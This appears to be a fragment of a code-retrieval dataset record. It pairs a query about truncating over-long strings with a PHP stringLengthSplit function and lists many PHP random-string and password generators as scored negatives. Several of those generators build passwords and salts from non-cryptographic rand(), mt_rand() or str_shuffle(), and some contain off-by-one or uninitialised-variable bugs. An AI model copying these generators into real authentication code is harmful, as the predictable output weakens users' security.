ceil($length / 2))), 0, $length);\n }", "function generateRandomString($length) {\n return strtoupper(substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length));\n }", "public function get_rand_str($length = 6) {\n\t\treturn substr(str_shuffle(\"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"), 0, $length);\n\t}", "public static function generate_password( $length=10 )\n {\n $val = '';\n for ( $i=0; $i<$length; $i++ ) \n {\n $d=rand(1,30)%2;\n $val .= $d ? (rand(10,99)%2 ? mb_strtolower(chr(rand(65,90))):\n chr(rand(65,90))) : chr(rand(48,57));\n }\n return $val;\n }", "function generateRandomString($length = 10) {\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $charactersLength = strlen($characters);\n $randomString = '';\n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, $charactersLength - 1)];\n }\n return $randomString;\n }", "public static function password($length = 8) {\n $seed = 'abcdefhikmnrstuwxz' . '2456789';\n $ret = '';\n for ($i = 1; $i <= $length; $i++) {\n $ret .= $seed[mt_rand(0, strlen($seed) - 1)];\n }\n return $ret;\n }", "private function generateRandomString(int $length = 10): string\n {\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $charactersLength = strlen($characters);\n $randomString = '';\n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, $charactersLength - 1)];\n }\n return $randomString;\n }", "function generateRandomString($length = 10) {\r\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\r\n $charactersLength = strlen($characters);\r\n $randomString = '';\r\n for ($i = 0; $i < $length; $i++) {\r\n $randomString .= $characters[rand(0, $charactersLength - 1)];\r\n }\r\n return $randomString;\r\n }", "function random_str($length) {\n\t\t$keyspace = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n\t\t$str = '';\n\t\t$keyspaceLength = strlen($keyspace) - 1; //put the length -1 in cache\n\t\tfor ($i = 0; $i < $length; ++$i) {\n\t\t\t$str .= $keyspace[random_int(0, $keyspaceLength)];\n\t\t}\n\t\treturn $str;\n\t}", "public static function generateRandomString($length = 6) {\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $charactersLength = strlen($characters);\n $randomString = '';\n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, $charactersLength - 1)];\n }\n return $randomString;\n}", "function generateRandomString($length = 10) {\n\t\t$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n\t\t$characterLength = strlen($characters);\n\t\t$randomString = '';\n\n\t\tfor($i = 0; $i < $length; $i++) {\n\t\t\t$randomString .= $characters[rand(0, $characterLength - 1)];\n\t\t}\n\t\treturn $randomString;\n\t}", "public static function generateRandomString($length = 32)\n {\n $bytes = self::generateRandomKey($length);\n // '=' character(s) returned by base64_encode() are always discarded because\n // they are guaranteed to be after position $length in the base64_encode() output.\n return strtr(substr(base64_encode($bytes), 0, $length), '+/', '_-');\n }", "function generateRandomString($length = 8) {\r\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\r\n $randomString = '';\r\n for ($i = 0; $i < $length; $i++) {\r\n $randomString .= $characters[rand(0, strlen($characters) - 1)];\r\n }\r\n return $randomString;\r\n}", "private function get_random_string($length = 10)\n\t{\n\t\t$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n\t\t$string = '';\n\n\t\tfor ($i = 0; $i < $length; $i++) {\n\t\t\t$string .= $characters[mt_rand(0, strlen($characters) - 1)];\n\t\t}\n\n\t\treturn $string;\n\t}", "public static function stringRandom($length = 32)\n {\n return bin2hex(random_bytes($length / 2));\n }", "public static function randString($length=32) {\r\n\t\treturn substr(sha1(uniqid(rand(),true)), 0, $length);\r\n\t}", "function rand_string($len, $chr = null)\n{\n\tif(!is_string($chr)) $chr = 'abcdefghijkmnopqrstuvwxyzABCDEFGHIJKLMNOPRSTUVWXYZ023456789';\n\tsrand((double)microtime()*1000000);\n\t$str = '';\n\tfor($i = 0; $i <= $len; $i++) {\n\t\t$num = rand() % 33;\n\t\t$str .= substr($chr, $num, 1);\n\t}\n\treturn $str;\n}", "function getRandomString(int $length = 40): string\n{\n return bin2hex( random_bytes($length / 2) );\n}", "public static function generate($length = 32)\n\t{\n\t\t$id = '';\n\t\tdo\n\t\t{\n\t\t\t$id .= \\uniqid('', true);\n\t\t}\n\t\twhile (\\strlen($id) < $length + 2);\n\t\treturn \\substr(\\strrev(\\base64_encode($id)), 2, $length);\n\t}", "static function generateRandomString($length) {\n $characters = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n $randomString = '';\n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, strlen($characters) - 1)];\n }\n return $randomString;\n }", "function generateCode($length=6){\r\n $chars = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPRQSTUVWXYZ0123456789\";\r\n $code = \"\";\r\n $clen = strlen($chars) - 1; \r\n while (strlen($code) < $length) {\r\n $code .= $chars[mt_rand(0,$clen)]; \r\n }\r\n return $code;\r\n}", "public function generatePassword($length = 8): string\r\n {\r\n $chars = 'abcdefghkmnpqrstuvwxyzABCDEFGHKMNPQRSTUVWXYZ23456789';\r\n\r\n return substr(str_shuffle($chars), 0, $length);\r\n }", "public static function randomString(int $length): string\n {\n try {\n $rand = bin2hex(random_bytes($length));\n // bytes_length = length * 2\n $rand = substr($rand, 0, $length);\n } catch (\\Exception $ce) {\n $rand = Str::randomLatinNumeric($length);\n }\n\n return $rand;\n }", "private function createString($length)\n {\n $password = '';\n for ($i = 0; $i <= $length; $i += 1) {\n $password .= $i;\n }\n return $password;\n\n }", "function generateRandomString($length = 10)\n {\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $charactersLength = strlen($characters);\n $randomString = '';\n for ($i = 0; $i < $length; $i ++) {\n $randomString .= $characters[rand(0, $charactersLength - 1)];\n }\n return $randomString;\n }", "public function randomString($length = 8)\n {\n $values = array_merge(range(65, 90), range(97, 122), range(48, 57));\n $max = count($values) - 1;\n $str = chr(mt_rand(97, 122));\n for ($i = 1; $i < $length; $i++) {\n $str .= chr($values[mt_rand(0, $max)]);\n }\n return $str;\n }", "function randomString($length = 16) {\n\n \t// start with a blank password\n \t$password = \"\";\n\n \t// define possible characters\n \t$possible = \"0123456789babcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"; \n \n \t// set up a counter\n \t$i = 0; \n \n \t// add random characters to $password until $length is reached\n \twhile ($i < $length) { \n\n \t\t // pick a random character from the possible ones\n \t\t $char = substr($possible, mt_rand(0, strlen($possible)-1), 1);\n \n \t\t $password .= $char;\n \t\t $i++;\n \t}\n\n \t// done!\n \treturn $password;\n}", "public static function generate($length) {\n $alphabet = \"abcdefghijklmnopqrstuwxyzABC0123456789\";\n for ($i = 0; $i < $length; $i++) {\n $random_password[$i] = $alphabet[rand(0, strlen($alphabet) - 1)];\n }\n return implode(\"\", $random_password);\n }", "public function generateRandomString($length = 10) {\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $randomString = '';\n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, strlen($characters) - 1)];\n }\n return $randomString;\n }", "static function GetRandString($length)\n\t\t{\n\t\t\t$str = \"\" ;\n\t\t\t\n\t\t\tfor($index = 0; $index < $length; $index++)\n\t\t\t{\n\t\t\t\t$str .= chr(rand(33,255)) ;\n\t\t\t}\n\t\t\t\n\t\t\treturn $str ;\n\t\t}", "function generateRandomString($length = 32) {\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $charactersLength = strlen($characters);\n $randomString = '';\n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, $charactersLength - 1)];\n }\n return $randomString;\n }", "function generateRandomString($length) {\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n //cuenta la cantidad de caracteres\n $charactersLength = strlen($characters);\n //inicial random string\n $randomString = '';\n //ciclo que arma el codigo random\n for ($i = 0; $i < $length; $i++) {\n //concatenando al azar un caracter de todas las opciones\n $randomString .= $characters[rand(0, $charactersLength - 1)];\n }\n //devolviendo el codigo random\n return $randomString;\n }", "public static function generatePassword( $length ) {\n\t\t$r = '';\n\t\tfor( $i = 0; $i < $length; $i++ ){\n\t\t\t$r .= chr( (rand(0, 1) ? ord('A') : ord('a')) + rand(0, 25) );\n\t\t}\n\t\treturn $r;\n\t}", "function generateCode($length = 10)\n{\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $charactersLength = strlen($characters);\n $randomString = '';\n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, $charactersLength - 1)];\n }\n return $randomString;\n}", "function genRandomString($length) {\n $characters = '0123456789';\n for ($p = 0; $p < $length; $p++) {\n $string .= $characters[mt_rand(0, strlen($characters))];\n }\n return $string;\n}", "function string_random_string($length)\r\n\t{\r\n\t\t$string = \"\";\r\n\t\t$chaine = \"AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789\";\r\n\t\tsrand((double)microtime()*1000000);\r\n\t\tfor ($i=0; $i<$length; $i++)\r\n\t\t{\r\n\t\t\t$string .= $chaine[rand()%strlen($chaine)];\r\n\t\t}\r\n\t\treturn $string;\r\n\t}", "function random_string($length) {\n $key = '';\n $keys = array_merge(range(0, 9), range('a', 'z'));\n\n for ($i = 0; $i < $length; $i++) {\n $key .= $keys[array_rand($keys)];\n }\n\n return $key;\n}", "function generateRandomString($length = 8)\n{\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $charactersLength = strlen($characters);\n $randomString = '';\n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, $charactersLength - 1)];\n }\n return $randomString;\n}", "public static function generate($length = 8){\n\t\t\t$chars = \"abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_-=+;:,.?1234567890\";\n\t\t\treturn substr(str_shuffle($chars), 0, $length);\n\t\t}", "function generateRandomString($length = 10) {\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $charactersLength = strlen($characters);\n $randomString = '';\n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, $charactersLength - 1)];\n }\n return $randomString;\n}", "function generateRandomString($length = 10) {\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $charactersLength = strlen($characters);\n $randomString = '';\n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, $charactersLength - 1)];\n }\n return $randomString;\n}", "function generateRandomString($length = 10) {\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $charactersLength = strlen($characters);\n $randomString = '';\n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, $charactersLength - 1)];\n }\n return $randomString;\n}", "function generateRandomString($length = 10) {\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $charactersLength = strlen($characters);\n $randomString = '';\n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, $charactersLength - 1)];\n }\n return $randomString;\n}", "function generate_password($len)\r\n\t{\r\n\t\t$chars = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz\";\r\n\t\tfor($i=0; $i<$len; $i++) $r_str .= substr($chars,rand(0,strlen($chars)),1);\r\n\t\treturn $r_str;\r\n\t}", "public function generateRandomString($length = 10) {\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $randomString = '';\n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, strlen($characters) - 1)];\n }\n return $randomString;\n }", "private function generateRandomString($length = 10) {\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $charactersLength = strlen($characters);\n $randomString = '';\n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, $charactersLength - 1)];\n }\n return $randomString;\n }", "function generate_random_string($length = 10) {\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $charactersLength = strlen($characters);\n $randomString = '';\n\n for ($i = 0; $i < $length; $i++) :\n $randomString .= $characters[rand(0, $charactersLength - 1)];\n endfor;\n\n return $randomString;\n}", "function generateRandomString($length) {\n //$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $characters = '0123456789';\n $charactersLength = strlen($characters);\n $randomString = '';\n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, $charactersLength - 1)];\n }\n return $randomString;\n}", "public static function rand_string($length) {\n\n $chars = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\n return substr(str_shuffle($chars), 0, $length);\n\n }", "public static function RandomString($length = 10): string {\n\t\t$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n\t\t$charactersLength = strlen($characters);\n\t\t$randomString = '';\n\t\tfor ($i = 0; $i < $length; $i++) {\n\t\t\t$randomString .= $characters[rand(0, $charactersLength - 1)];\n\t\t}\n\t\treturn $randomString;\n\t}", "function RandomString($length)\n{\n $string = md5(microtime());\n $highest_startpoint = 32-$length;\n $randomString = substr($string,rand(0,$highest_startpoint),$length);\n return $randomString;\n\n}", "private function generateRandomString($length = 16)\n {\n $characters = '0123456789';\n $charactersLength = strlen($characters);\n $randomString = '';\n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, $charactersLength - 1)];\n }\n return $randomString;\n }", "function gen_rand_string($num_chars = 8)\n{\n\t$rand_str = unique_id();\n\t$rand_str = str_replace('0', 'Z', strtoupper(base_convert($rand_str, 16, 35)));\n\n\treturn substr($rand_str, 0, $num_chars);\n}", "private function generateString($length)\r\n {\r\n\r\n $alphabet=\"qazxswedcvfrtgbnhyujmklpoi0987654321\";\r\n $ris='';\r\n\r\n for ($i=0; $i < $length; $i++) {\r\n srand($this->makeSeed());\r\n $ris .= $alphabet[rand(0,(strlen($alphabet)-1))];\r\n }\r\n\r\n return($ris);\r\n }", "function generate_salt($length = 16)\n {\n $possible_chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678';\n $rand_string = '';\n for($i = 0; $i < $length; ++$i)\n {\n $rand_string .= $possible_chars[random_int(0, strlen($possible_chars) - 1)];\n }\n return utf8_encode($rand_string);\n }", "private function generateCode($length = 10)\r\n\t{\r\n\t\t$passcode=\"\";\r\n\t\t$chars = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\";\r\n\t\tsrand((double)microtime()*1000000);\r\n\t\tfor ($i=0; $i<$length; $i++)\r\n\t\t{\r\n\t\t\t$passcode .= substr ($chars, rand() % strlen($chars), 1);\r\n\t\t}\r\n\t\treturn $passcode;\r\n\t}", "public function generate_password( $length = 8 ) {\r\n\t\t// character pool\r\n\t\t$chars\t\t= \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\r\n\t\r\n\t\treturn substr( str_shuffle( $chars ), 0, $length );\r\n\t}", "function generateRandomString($length = 32)\n {\n return Str::random($length);\n }", "private function generateRandomString($length = 10)\n {\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $charactersLength = strlen($characters);\n $randomString = '';\n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, $charactersLength - 1)];\n }\n return $randomString;\n }", "function generateRandomString($length = 15) {\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $randomString = '';\n \t for ($i = 0; $i < $length; $i++) {\n \t $randomString .= $characters[rand(0, strlen($characters) - 1)];\n \t }\n \t\t return $randomString;\n\t\t }", "public static function generateRandomString($length = 6) {\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $randomString = '';\n for ($i = 0; $i < $length; $i++) {\n $randomString .= $characters[rand(0, strlen($characters) - 1)];\n }\n return $randomString;\n }", "public function generateRandomString($length = 5) {\n return substr(\n str_shuffle(\n str_repeat(\n $x='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', \n ceil($length/strlen($x)) \n )\n ), 1 , $length);\n }", "public static function random($length = 8)\n {\n $val = \"\";\n $values = \"abcdefghijklmnopqrstuvwxyz0123456789\";\n for ( $i = 0; $i < $length; $i++ )\n {\n $val .= $values[mt_rand( 0, 35 )];\n }\n return $val;\n }", "function random_str($base,$len)\r\n {\r\n\t\treturn substr(md5(uniqid(rand()*$base)),0,$len);\r\n\t}", "function generatePassword($length) { \n $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; \n $count = mb_strlen($chars); \n for ($i = 0, $result = ''; $i < $length; $i++) \n { \n $index = rand(0, $count - 1); \n $result .= mb_substr($chars, $index, 1); \n } \n return $result; \n }", "function random_string($length = 6) {\n\t$text = '';\n\t$characters = '0123456789abcdefghijkmnopqrstuvwxyz';\n\t$nro = 0;\n\twhile ($nro < $length) {\n\t\t$caracter = substr($characters, mt_rand(0, strlen($characters)-1), 1);\n\t\t$text .= $caracter;\n\t\t$nro++;\n\t}\n\treturn $text;\n}", "function attendance_random_string($length=6) {\n $randombytes = random_bytes_emulate($length);\n $pool = 'abcdefghijklmnopqrstuvwxyz';\n $pool .= '0123456789';\n $poollen = strlen($pool);\n $string = '';\n for ($i = 0; $i < $length; $i++) {\n $rand = ord($randombytes[$i]);\n $string .= substr($pool, ($rand % ($poollen)), 1);\n }\n return $string;\n}", "public static function string( $length=20 )\n {\n $chars = array_merge( range( \"0\",\"9\" ), range( \"a\",\"z\" ), range( \"A\",\"Z\" ) );\n return self::_generate( $length, $chars );\n }", "public static function getRandomString($_length)\n {\n $chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n \n $randomString = '';;\n for ($i=0; $i<(int)$_length; $i++) {\n $randomString .= $chars[mt_rand(1, strlen($chars)) -1];\n }\n \n return $randomString;\n }", "function str_generate($length, $chars)\n {\n return substr(str_shuffle(str_repeat($chars, $length)), 0, $length);\n }", "public function str_random($length = 16)\n {\n return Str::random($length);\n }", "private function generateRandomString($length = 10)\n {\n $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\n $charactersLength = strlen($characters);\n $randomString = '';\n\n for ($i = 0; $i < $length; $i++)\n {\n $randomString .= $characters[rand(0, $charactersLength - 1)];\n }\n\n return $randomString;\n }", "public static function generate($length=64)\n {\n if($length<self::$min_length) throw new \\Exception(sprintf(\"Error: the random string must be at least %s characters\", self::$min_length), 1);\n \n $characters_array = array_merge(range('A', 'Z'), range('a', 'z'),range(0, 9));\n $characters_length = count($characters_array);\n $random_string = '';\n for ($i = 0; $i < $length; $i++)\n {\n $random_string .= $characters_array[mt_rand(0, $characters_length-1)];\n }\n return $random_string;\n }", "public static function getRandomString($length) \n{\n$pool = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';\nreturn substr(str_shuffle(str_repeat($pool, $length)), 0, $length);\n}", "function cvf_td_generate_random_code($length=10) {\n\t$string = '';\n\t$characters = \"23456789ABCDEFHJKLMNPRTVWXYZabcdefghijklmnopqrstuvwxyz\";\n\tfor ($p = 0; $p < $length; $p++) {\n\t\t$string .= $characters[mt_rand(0, strlen($characters)-1)];\n\t}\n\treturn $string;\n}", "function createRandomString($maxLength = 24)\n\t{\n\n\t\t$bytes = floor((int) $maxLength / 4) * 3;\n\n\t\t$data = openssl_random_pseudo_bytes($bytes);\n\n\t\treturn encodeUrlSafe($data);\n\n\t}", "public static function generateSomewhatRandomString($length = 22)\n {\n $chars = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz\";\n srand((double) microtime() * 1000000);\n $i = 0;\n $somewhatRandom = '';\n\n while ($i < $length) {\n $num = rand() % 60;\n $tmp = substr($chars, $num, 1);\n $somewhatRandom = $somewhatRandom.$tmp;\n $i++;\n }\n\n return $somewhatRandom;\n }" ]
[ "0.8368221", "0.8230083", "0.7975683", "0.7804734", "0.77252823", "0.76821655", "0.76347417", "0.76233", "0.7616041", "0.7604585", "0.7597326", "0.7588853", "0.7575045", "0.75717413", "0.7542916", "0.75278383", "0.75136906", "0.7510439", "0.7507735", "0.75018525", "0.7495609", "0.7487772", "0.7472569", "0.7469871", "0.7451365", "0.74491715", "0.74486643", "0.7437156", "0.74363464", "0.74311113", "0.7427087", "0.7426753", "0.74125594", "0.7408281", "0.7402306", "0.740041", "0.7398087", "0.7395123", "0.73946667", "0.73804176", "0.7374853", "0.7374156", "0.7372064", "0.73681253", "0.7365738", "0.7360294", "0.7359906", "0.7354798", "0.735251", "0.7350783", "0.7348126", "0.7347958", "0.73398185", "0.7336686", "0.73328716", "0.7330027", "0.7325256", "0.73250204", "0.73233086", "0.7322193", "0.7320348", "0.7319868", "0.73146385", "0.7313119", "0.7313119", "0.7313119", "0.7313119", "0.73083884", "0.7293904", "0.7290463", "0.72889227", "0.7282911", "0.7280897", "0.7272029", "0.7267097", "0.7264752", "0.7258966", "0.7253752", "0.72451687", "0.72420114", "0.7241395", "0.7239204", "0.7236747", "0.72364223", "0.72281843", "0.7226439", "0.72250956", "0.7222975", "0.7219984", "0.7218822", "0.7215169", "0.72147113", "0.72121996", "0.72118086", "0.72041035", "0.720228", "0.7202194", "0.7198537", "0.71976733", "0.7193152", "0.71897024" ]
0.0
-1
Check if a string is longer than $stringLength, if it is then split the string.
function stringLengthSplit($str, $stringLength = 50) { $returnString = ''; if($stringLength < 5) return '...'; if(strlen($str) > $stringLength) { $returnString = substr($str, 0, $stringLength - 3) . '...'; } else { $returnString = $str; } return $returnString; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function stringLengthSplit($str, $stringLength = 50) {\n $returnString = '';\n if($stringLength < 5) return '...';\n \n if(strlen($str) > $stringLength) {\n $returnString = substr($str, 0, $stringLength - 3) . '...';\n } else {\n $returnString = $str;\n }\n \n return $returnString;\n}", "function str_split($string, $split_length = 1)\n\t{\n\t\tif ($split_length < 1)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\telse if ($split_length >= strlen($string))\n\t\t{\n\t\t\treturn array($string);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tpreg_match_all('#.{1,' . $split_length . '}#s', $string, $matches);\n\t\t\treturn $matches[0];\n\t\t}\n\t}", "private function checkTooLong($string, $length)\r\n {\r\n if(strlen($string) >= $length)\r\n {\r\n return true;\r\n }\r\n return false; \r\n }", "function funcs_cutLength($string, $length, $word_length = null,$act_length = null){\n\t$string = (!is_null($string))?trim($string):'';\n\t//do not check the size of the string if we already know it\n\tif (is_null($act_length))$act_length=strlen($string);\n\tif (!is_null($word_length) && !empty($string)){\n\t\t//in the future use this instead of calling this whole function\n\t\t$string = wordwrap($string,$word_length,\"\\n\",1);\n\t}\n\tif (!is_null($length) && $act_length>$length && $length>4){\n\t\t$string = substr($string,0,$length-3).'...';\n\t}\n\treturn $string;\n}", "public static function getSubString($string, $length=NULL)\n{\n if ($length == NULL)\n $length = 50;\n //Primero eliminamos las etiquetas html y luego cortamos el string\n $stringDisplay = substr(strip_tags($string), 0, $length);\n //Si el texto es mayor que la longitud se agrega puntos suspensivos\n if (strlen(strip_tags($string)) > $length)\n $stringDisplay .= ' ...';\n return $stringDisplay;\n}", "public function splitMessage($text, $length)\n\t{\n\t\t// assert that no part ends in the escape char (\\null)\n\t\t$re = sprintf('/.{1,%d}(?<!%s)/', $length, '\\\\' . ord(self::ESCAPE_CHAR));\n\t\tpreg_match_all($re, $text, $text);\n\t\treturn reset($text);\n\t}", "public static function mb_str_split($str,$split_length=1,$charset=\"UTF-8\"){\n if(func_num_args()==1){\n return preg_split('/(?<!^)(?!$)/u', $str);\n }\n if($split_length<1)return false;\n $len = mb_strlen($str, $charset);\n $arr = array();\n for($i=0;$i<$len;$i+=$split_length){\n $s = mb_substr($str, $i, $split_length, $charset);\n $arr[] = $s;\n }\n return $arr;\n }", "public function max($str, $length)\n {\n return $this->notempty($str) && strlen(trim($str)) <= $length;\n }", "abstract protected function validateFieldLength($fieldLength);", "function getSubString($string, $length=NULL){\n if ($length == NULL)\n $length = 50;\n //Primero eliminamos las etiquetas html y luego cortamos el string\n $stringDisplay = substr(strip_tags($string), 0, $length);\n //Si el texto es mayor que la longitud se agrega puntos suspensivos\n if (strlen(strip_tags($string)) > $length)\n $stringDisplay .= ' ...';\n return $stringDisplay;\n}", "private function validateString($string, $length = false) {\n\n if ($length && strlen($string) > $length)\n $this->errors[] = 'String is too large for field: \"' . $string . '\"';\n\n return filter_var($string, FILTER_SANITIZE_MAGIC_QUOTES);\n }", "function getSubString($string, $length=NULL) {\n if ($length == NULL)\n $length = 45;\n //Primero eliminamos las etiquetas html y luego cortamos el string\n $stringDisplay = substr(strip_tags($string), 0, $length);\n //Si el texto es mayor que la longitud se agrega puntos suspensivos\n if (strlen(strip_tags($string)) > $length)\n $stringDisplay .= ' ...';\n return $stringDisplay;\n }", "function wrap($string, $length)\r\n{\r\n echo \"To confirm your string is \\\"\" . $string . \"\\\" and your length is \" . $length . \"\\nOutput: \\n\";\r\n \r\n //turn string into array of words\r\n $words = preg_split('/\\s+/', $string, -1, PREG_SPLIT_NO_EMPTY);\r\n //line length starts at 0\r\n $lineLen = 0;\r\n //string to hold output\r\n $newString = \"\";\r\n\r\n \r\n foreach ($words as $word) {\r\n //work out word length\r\n $wordLen = strlen($word);\r\n \r\n //if wordlength is greater than length it needs to be split up further\r\n if ($wordLen > $length) {\r\n $partWord = str_split($word, $length);\r\n foreach ($partWord as $parts) {\r\n if ($parts == $partWord[0]) {\r\n //first word does not need new line before it, only after\r\n //if last char in string is not \\n add \\n\r\n if(substr($newString, -1) != \"\\n\"){\r\n $newString .= \"\\n\";\r\n }\r\n $newString .= \"$parts\";\r\n \r\n\r\n } else {\r\n //splitting after first split space needs to go after word\r\n \r\n $newString .= \"\\n$parts \";\r\n \r\n }\r\n }\r\n //calculate total line length to ensure it is not over the required length\r\n $lineLen += $wordLen;\r\n } else /*word is equal to or under maximum line length */ {\r\n if (($lineLen + $wordLen) <= $length) /*check adding word to line won't make it go over length */{\r\n\r\n if (($lineLen + $wordLen) < $length) {\r\n $newString .= \"$word \";\r\n //add 1 to length to account for space\r\n $wordLen += 1;\r\n } else /*line is going to be too big */{\r\n $newString .= $word;\r\n }\r\n //recalculate line length\r\n $lineLen += $wordLen;\r\n } else {\r\n //add spaces and add word back into output \r\n $newString .= \"\\n\";\r\n $lineLen = $wordLen + 1;\r\n $newString .= \"$word \";\r\n }\r\n }\r\n }\r\n\r\n return $newString;\r\n}", "public function getSubString($string, $length = 30) {\n //Primero eliminamos las etiquetas html y luego cortamos el string\n $stringDisplay = substr(strip_tags($string), 0, $length);\n //Si el texto es mayor que la longitud se agrega puntos suspensivos\n if (strlen(strip_tags($string)) > $length)\n $stringDisplay .= ' ...';\n return $stringDisplay;\n }", "function tep_break_string($string, $len, $break_char = '-') {\n $l = 0;\n $output = '';\n for ($i=0, $n=strlen($string); $i<$n; $i++) {\n $char = substr($string, $i, 1);\n if ($char != ' ') {\n $l++;\n } else {\n $l = 0;\n }\n if ($l > $len) {\n $l = 1;\n $output .= $break_char;\n }\n $output .= $char;\n }\n\n return $output;\n }", "function compare_length($string_1, $string_2){\r\n\tif(strlen($string_1) >= strlen($string_2)){\r\n\t\treturn $string_1;\r\n\t}else{\r\n\t\treturn $string_2;\r\n\t}\r\n}", "private function checkTooShort($string, $length)\r\n {\r\n if(strlen($string) <= $length)\r\n {\r\n return true;\r\n }\r\n return false; \r\n }", "function split( $delimiter, $string, $limit )\n\t\t{\n\t\t\treturn explode( $delimiter, $string, $limit );\n\t\t}", "public function wordwrap( $string, $length ) {\n\t\tif ( $length < 1 or $length > $this->length( $string ) ) {\n\t\t\treturn $string;\n\t\t}\n\n\t\treturn preg_replace( '#[^\\s]{' . $length . '}(?=[^\\s])#u', '$0 ', $string );\n\t}", "function checkStringLength($checkMe){\n\t// for now just ensure it's a string and cut it if it's too long\n\tglobal 